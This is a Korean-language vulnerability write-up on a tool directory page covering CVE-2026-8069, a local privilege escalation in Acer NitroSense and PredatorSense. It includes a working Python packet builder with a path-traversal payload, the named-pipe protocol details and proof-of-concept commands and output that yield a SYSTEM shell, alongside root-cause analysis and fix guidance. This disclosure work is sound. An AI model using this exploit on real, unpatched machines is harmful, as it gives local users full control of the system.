Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-8069 — # CVE-2026-8069 기술 분석 및 개념 증명 Acer NitroSense 및 PredatorSense 서비스의 로컬 권한 상승 취약점에 대한 기술 분석 및 개념 증명으로, 명명된 파이프(named pipe)를 악용하여 SYSTEM 권한으로 임의 코드를 실행합니다. | Kitploit
도구/GitHubGitHub/s1eezer/cve-2026-8069
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationReverse EngineeringBinary Analysis
GitHubs1eezer/cve-2026-8069

CVE-2026-8069

# CVE-2026-8069 기술 분석 및 개념 증명 Acer NitroSense 및 PredatorSense 서비스의 로컬 권한 상승 취약점에 대한 기술 분석 및 개념 증명으로, 명명된 파이프(named pipe)를 악용하여 SYSTEM 권한으로 임의 코드를 실행합니다.

저장소 보기
1320일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Acer 네임드 파이프에서 NT AUTHORITY\SYSTEM으로: CVE-2026-8069

Acer NitroSense 및 PredatorSense 3.x는 PSSvc라는 Windows 서비스를 설치했으며, 이 서비스는 로컬 사용자에게 사용자 지정 네임드 파이프 프로토콜을 노출했습니다. 하나의 프로토콜 명령은 호출자가 제어하는 실행 파일 경로를 수락하고, winlogon.exe의 토큰을 복제한 다음 해당 실행 파일을 NT AUTHORITY\SYSTEM으로 시작했습니다.

취약한 서비스의 경로 제한은 부분 문자열(substring) 테스트였습니다. 서비스 디렉터리 내부에서 시작한 다음 ..\ 구성 요소를 사용하는 경로는 테스트를 통과했지만 다른 위치로 확인(resolve)되었습니다. 파이프의 허용적인 접근 제어와 호출자 권한 부여 부재가 결합되어, 일반 표준 로컬 사용자가 SYSTEM 프로세스를 얻을 수 있었습니다.

Acer는 CVE-2026-8069를 지정하고 수정 버전을 공개했으며, 보안 권고에서 Hradec Králové 대학교의 Artem Domarev를 공로로 인정했습니다.

이 문서는 프로세스 생성/LPE 경로에 초점을 맞춥니다. Acer의 권고는 또한 이 검증 범위에 포함되지 않은 임의 파일 삭제에 대해서도 설명합니다.

이 연구 방향을 선택한 이유

연구 방향 선택은 SensePost의 Leon Jacobs가 발표한 OEM 소프트웨어에 대한 공개 분석의 영향을 받았습니다. 해당 연구는 ASUS DriverHub, MSI Center, Acer Control Centre 및 Razer Synapse 4의 취약점을 문서화했습니다 (Jacobs, 2025). 이는 공급업체가 제공하는 하드웨어 유틸리티가 의미 있고 충분히 탐구되지 않은 공격 표면을 노출할 수 있다는 생각을 강화했습니다. Acer Control Centre를 재검토하는 대신, 조사를 다른 Acer 제품군인 NitroSense와 PredatorSense로 확장했습니다.

요약

악용 체인은 짧습니다:

root@kitploit:~
인증된 로컬 사용자
        │
        ▼
허용적인 PSSvc 네임드 파이프
        │  사용자 지정 명령 0x0007
        ▼
부분 문자열 전용 경로 검사
        │  service-dir\..\..\..\Windows\System32\cmd.exe
        ▼
활성 세션 winlogon.exe 토큰 복제
        │
        ▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM

버전 번호 경고

공개 문구에 불일치가 있습니다. Acer의 페이지는 NitroSense 버전 "3.01.3052 이전"이 영향을 받는다고 말하지만, 이 문서에서 테스트한 공급업체 서명 PSSvc.exe 버전 3.1.3052.0은 명백히 취약합니다. 같은 페이지는 NitroSense 3.01.3056을 수정 버전으로 식별합니다. NVD 적용 범위도 3.01.3056까지(포함하지 않음) 확장됩니다.

PredatorSense의 경우, Acer의 영향 버전 문장은 3.00.3196 이전에서 멈추는 반면, 나열된 수정 버전은 3.00.3198이며 NVD는 후자를 상한 경계로 사용합니다.

따라서 보수적인 운영 규칙은 간단합니다: 모호한 "영향" 문장을 패치 확인으로 사용하지 마십시오. Acer가 명명한 수정 버전 이상으로 업그레이드하십시오—PredatorSense 3.00.3198 또는 NitroSense 3.01.3056—또는 최신 모델 호환 패키지를 사용하십시오.

테스트된 아티팩트

이 문제는 원본 NitroSense 패키지로 재현되었습니다.

PSSvc.exe Authenticode 서명은 성공적으로 검증되었고 Acer Incorporated로 체인되었습니다. MSI는 PSSvc를 LocalSystem으로 실행되는 수동 시작(demand-start), 자체 프로세스(own-process) 서비스로 설치했습니다.

취약 경로를 찾은 방법

1. 권한 있는 서비스에서 시작

NitroSense 패키지는 다음을 설치합니다:

root@kitploit:~
SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE:         WIN32_OWN_PROCESS
START_TYPE:   DEMAND_START
ACCOUNT:      LocalSystem

SYSTEM 서비스가 자동으로 취약한 것은 아닙니다. 중요한 질문은 낮은 권한의 프로세스가 호출자가 신뢰할 수 있다는 가정 하에 설계된 기능에 도달할 수 있는지 여부입니다.

문자열 분석은 즉시 IPC 엔드포인트를 노출했습니다:

root@kitploit:~
\\.\pipe\predatorsense_service_namedpipe

2. 네임드 파이프 보안 설명자 검사

0x140014AD0에서 서비스는 파이프를 생성하고 CreateNamedPipeW에 명시적 보안 설명자를 전달합니다:

root@kitploit:~
D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

이것은 명시적으로 바로잡을 가치가 있습니다: 취약한 빌드는 NULL 설명자를 전달하지 않습니다. 허용적인 DACL을 생성합니다.

AU ACE는 일반 인증된 사용자가 읽기 및 쓰기를 위해 파이프를 열기에 충분합니다. 그런 다음 서버는 클라이언트를 가장(impersonate)하여 권한 있는 명령을 디스패치하기 전에 권한 부여 결정을 수행하지 않습니다.

3. 와이어 형식 복구

0x14000ABB0의 클라이언트 스레드는 메시지를 512바이트 버퍼로 읽습니다. 처음 3바이트를 16비트 명령 번호와 8비트 인수 개수로 구문 분석합니다. 각 인수는 길이 접두사가 붙습니다:

root@kitploit:~
오프셋  크기  의미
0x00    2     명령 ID, 리틀 엔디언
0x02    1     인수 개수
0x03    4     인수 0의 길이
0x07    n     인수 0의 바이트
...           반복되는 DWORD 길이 + 값

문자열 인수는 UTF-16LE입니다. 정수 인수는 리틀 엔디언 DWORD입니다. 디스패처는 0x23 미만의 명령 ID를 수락하고 이를 0x140052C90의 35개 항목 함수 테이블의 인덱스로 사용합니다.

명령 0x0007의 항목은 0x14000BFD0을 가리킵니다.

4. 명령 0x0007 추적

보안 관련 동작으로 축소하면 핸들러는 다음과 같습니다:

root@kitploit:~
int command_07(parsed_arguments *args)
{
    wchar_t service_directory[MAX_PATH];
    wchar_t *requested_path = args->wide_string[0];
    uint32_t mode = args->dword[1];

    GetModuleFileNameW(NULL, service_directory, MAX_PATH);
    PathRemoveFileSpecW(service_directory);

    if (wcsstr(requested_path, service_directory) != NULL)
        return launch_with_selected_token(requested_path, mode);

    return 0;
}

wcsstr는 한 문자열이 다른 문자열 내에 발생하는지 여부만 답합니다. 경로를 정규화하거나, 점 세그먼트를 확인하거나, 파일을 열거나, 최종 개체가 신뢰할 수 있는 디렉터리 아래에 남아 있음을 증명하지 않습니다.

서비스가 다음에 설치되어 있다고 가정합니다:

root@kitploit:~
C:\Program Files\Acer\NitroSense_Service

다음 경로는 오프셋 0에서 해당 디렉터리를 포함하므로 wcsstr가 성공합니다:

root@kitploit:~
C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe

Windows는 점 세그먼트를 다음으로 확인합니다:

root@kitploit:~
C:\WINDOWS\System32\cmd.exe

이것은 전형적인 정규화 오류입니다: 검증은 하나의 텍스트 표현에서 수행되는 반면, 민감한 작업은 정규화된 의미를 소비합니다.

5. 토큰 분기 추적

0x1400091F0의 프로세스 실행 도우미는 두 번째 인수가 0x72(10진수 114)일 때 특수 분기가 있습니다. 다음을 수행합니다:

  1. 활성 콘솔 세션 ID를 얻습니다;
  2. 활성 사용자의 토큰을 쿼리하고 환경 블록을 생성합니다;
  3. CreateToolhelp32Snapshot으로 프로세스를 열거합니다;
  4. 활성 세션에서 winlogon.exe를 찾습니다;
  5. 프로세스와 해당 토큰을 엽니다;
  6. 토큰을 기본 토큰으로 복제합니다;
  7. 복제된 토큰을 높은 무결성으로 설정합니다; 그리고
  8. 호출자가 제공한 경로를 winsta0\default에서 시작합니다.

테스트된 바이너리의 중요한 호출 사이트는 다음과 같습니다:

이는 명령 0x0007이 단순히 서비스에 자체 신뢰할 수 있는 도구 중 하나를 실행하도록 요청하는 것이 아님을 의미합니다. 일반 사용자가 접근할 수 있는 파이프에 일반 SYSTEM 토큰 프로세스 실행기를 노출합니다.

PoC 구축

필수 패킷 빌더는 작습니다:

root@kitploit:~
import struct

def build_packet(command_id, *arguments):
    packet = struct.pack("<HB", command_id, len(arguments))
    for argument in arguments:
        if isinstance(argument, str):
            argument = argument.encode("utf-16-le")
        elif isinstance(argument, int):
            argument = struct.pack("<I", argument)
        packet += struct.pack("<I", len(argument)) + argument
    return packet

service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"

# 핸들러는 경로, 토큰 모드 및 8개의 추가 슬롯을 기대합니다.
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))

전체 검증 스크립트는 CreateFileW로 파이프를 열고, 메시지 모드를 설정하고, 이 패킷을 보내고, 서비스의 응답을 디코딩합니다. 하드 코딩 대신 설치된 서비스 경로를 발견하고, 아무것도 보내기 전에 정규화된 대상을 확인합니다.

이 문서에 사용된 전체 스크립트는 acer_cve_2026_8069_poc.py로 제공됩니다.

재현

1단계: 취약한 빌드 설치

공급업체의 Setup.exe는 하드웨어 검사를 수행하고 비공개 MSI 속성을 제공합니다. NitroSense.msi를 추출하고 .NET 부트스트래퍼에서 해당 속성을 복구했습니다:

root@kitploit:~
$arguments = @(
  '/i', 'C:\Lab\NitroSense.msi',
  'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
  'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
  'GPRODUCTNAME=NitroSense_Service',
  '/qn', '/norestart',
  '/l*v', 'C:\Lab\install.log'
)

Start-Process msiexec.exe -ArgumentList $arguments -Wait

이러한 속성은 환경 검사를 통과하지 못하는 하드웨어에서 부트스트래퍼의 설치 경로를 재현합니다.

설치 후 파일 버전, SHA-256 및 서명을 확인한 다음 수동 시작 서비스를 시작했습니다:

root@kitploit:~
sc.exe qc PSSvc
sc.exe start PSSvc

2단계: 표준 로컬 계정 사용

요청은 중간 무결성에서 실행되는 표준, 비관리자 로컬 계정에서 전송되었습니다.

3단계: 명령 0x0007 트리거

해당 계정에서:

root@kitploit:~
py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe

서비스가 반환했습니다:

root@kitploit:~
[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
       Packet size: 227 bytes

Raw response: 010400000001000000
Return code: 1

[CRITICAL] PROCESS CREATED SUCCESSFULLY

4단계: 독립적으로 검증

PoC의 성공 메시지 자체가 증거는 아닙니다. 관리자 증거 채널에서 결과 프로세스를 독립적으로 쿼리했습니다:

root@kitploit:~
Parent      : PSSvc.exe
Session     : Interactive
Owner       : NT AUTHORITY\SYSTEM
CommandLine : "C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe"

SYSTEM 셸은 대화형 세션에서 PSSvc.exe의 직접 자식이었으며, 명령줄에 트래버설 경로가 보존되어 있었습니다.

또한 성공적인 요청 중에 서비스 API를 추적했습니다. 추적은 활성 세션 1, 성공적인 WTSQueryUserToken, 프로세스 스냅샷, 세션의 winlogon.exe에 대한 OpenProcess, 성공적인 DuplicateTokenEx, 무결성 토큰 수정 및 프로세스 실행 도우미의 성공 반환을 기록했습니다.

원본 PoC 녹화는 NT AUTHORITY SYSTEM이 소유한 cmd.exe와 whoami가 nt authority\system을 반환하는 것을 보여줍니다.

SYSTEM 셸을 보여주는 PoC 녹화.

근본 원인

이것은 하나의 고립된 잘못된 비교가 아니었습니다. 악용에는 여러 신뢰 실패가 일치해야 했습니다:

  1. 파이프 DACL이 인증된 사용자에게 읽기 및 쓰기를 허용했습니다.
  2. 서버는 클라이언트를 인증하거나 권한을 부여하지 않고 사용자 지정 권한 있는 명령을 수락했습니다.
  3. 실행 파일 허용 목록이 정규 경로 검증 대신 wcsstr로 구현되었습니다.
  4. 명령이 의도적으로 고도로 권한 있는 winlogon.exe 토큰을 복제하는 코드를 노출했습니다.
  5. 호출자가 궁극적으로 프로세스 생성에 전달된 응용 프로그램 경로를 제어했습니다.

마지막 네 개의 연결 중 하나라도 제거했다면 이 LPE 경로를 방지할 수 있었습니다. 심층 방어는 모두 제거해야 합니다.

수정 지침

Acer의 지원되는 수정 방법은 PredatorSense 3.00.3198, NitroSense 3.01.3056 이상으로 업데이트하는 것입니다. 공급업체 권고에 설명된 대로 시스템의 일련 번호 또는 SNID에 대해 Acer가 제공하는 패키지를 사용하십시오.

권한 있는 Windows 서비스 개발자를 위한 광범위한 교훈은 다음과 같습니다:

  • 파이프에 실질적으로 가능한 가장 좁은 ACL을 부여하십시오—일반적으로 서비스별 보안 주체, SYSTEM 및 관리자—모든 인증된 사용자가 아닙니다.
  • 각 클라이언트를 인증하고 각 명령에 권한을 부여하십시오. 파이프 접근만으로는 권한 부여 결정이 아닙니다.
  • 누가 요청하는지 평가할 때 파이프 클라이언트를 가장한 다음 문서화된 정책을 적용하십시오.
  • 검증 전에 경로를 정규화하고 확인하십시오. 올바른 경계 및 대소문자 규칙으로 경로 구성 요소를 비교하고 재분석 지점 및 링크를 고려하십시오.
  • 호출자가 제어하는 경로보다 변경 불가능한 실행 파일 ID의 허용 목록을 선호하십시오.
  • 범용 로컬 IPC 디스패처를 통해 토큰 복제 또는 임의 프로세스 생성을 노출하지 마십시오.
  • 거부된 명령과 보안 관련 호출자 정보를 비밀을 기록하지 않고 로그하십시오.

공개 타임라인

날짜이벤트
2026-02-19취약점 보고서 작성 및 Acer에 제출.
2026-05-08CVE-2026-8069가 CVE/NVD 생태계에 게시됨.
2026Acer가 권고를 게시하고 연구원을 공로로 인정했으며 수정된 PredatorSense 및 NitroSense 버전을 명명함.
2026-08-28이 문서를 위한 독립적 재현 완료.

최종 생각

로컬 네임드 파이프는 신뢰할 수 있는 경계로 오인하기 쉽습니다. 그것들은 단지 전송 메커니즘일 뿐입니다. SYSTEM 서비스가 명령 디스패처를 노출할 때, 파이프 ACL, 호출자 권한 부여, 인수 검증 및 권한 있는 구현 모두가 보안 경계의 일부가 됩니다.

여기서 허용적인 파이프가 토큰 복제 루틴에 도달했고, 부분 문자열 검사가 경로 포함을 대신하려고 했습니다. 결과는 표준 로컬 사용자에서 NT AUTHORITY\SYSTEM으로의 안정적인 전환이었습니다.

참고 자료

  • Acer: PredatorSense 및 NitroSense 소프트웨어 v3 보안 취약점 정보
  • GitHub Advisory Database: CVE-2026-8069 / GHSA-67h9-58cf-72hp
  • NVD: CVE-2026-8069
  • CVE.org: CVE-2026-8069
  • Jacobs, L. (2025, July 24). Pwning ASUS DriverHub, MSI Center, Acer Control Centre and Razer Synapse 4. SensePost.

라이선스

이 문서와 원본 연구 미디어는 Creative Commons Attribution 4.0 International에 따라 라이선스가 부여됩니다. PoC 소스 코드는 MIT License에 따라 라이선스가 부여됩니다. 범위 및 타사 제외 사항은 LICENSE.md를 참조하십시오.

도구 다운로드
항목결과
CVECVE-2026-8069
테스트된 취약 구성 요소PSSvc.exe 3.1.3052.0, Acer Incorporated 서명
서비스 IDLocalSystem
IPC 엔드포인트\\.\pipe\predatorsense_service_namedpipe
취약 명령0x0007
필요한 공격자 접근 권한프로그램을 실행할 수 있는 인증된 로컬 사용자
사용자 상호 작용없음
결과NT AUTHORITY\SYSTEM으로 임의 실행 파일 실행
NVD CVSS v3.17.8 High — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
수정 버전PredatorSense 3.00.3198; NitroSense 3.01.3056
아티팩트SHA-256
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157
NitroSense.msi6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C
설치된 PSSvc.exe 3.1.3052.03BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40
검증에 사용된 PoC31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163
SID 약어보안 주체SDDL의 유효 권한
BG기본 제공 게스트모든 권한(Generic All)
AN익명(Anonymous)모든 권한 거부(Generic All denied)
AU인증된 사용자읽기, 쓰기 및 실행(Generic Read, Write and Execute)
BA기본 제공 관리자모든 권한(Generic All)
작업주소
CreateToolhelp32Snapshot0x140009298
OpenProcessToken0x140009346
DuplicateTokenEx0x1400093B0
CreateProcessAsUserW0x1400094BF / 0x1400094C7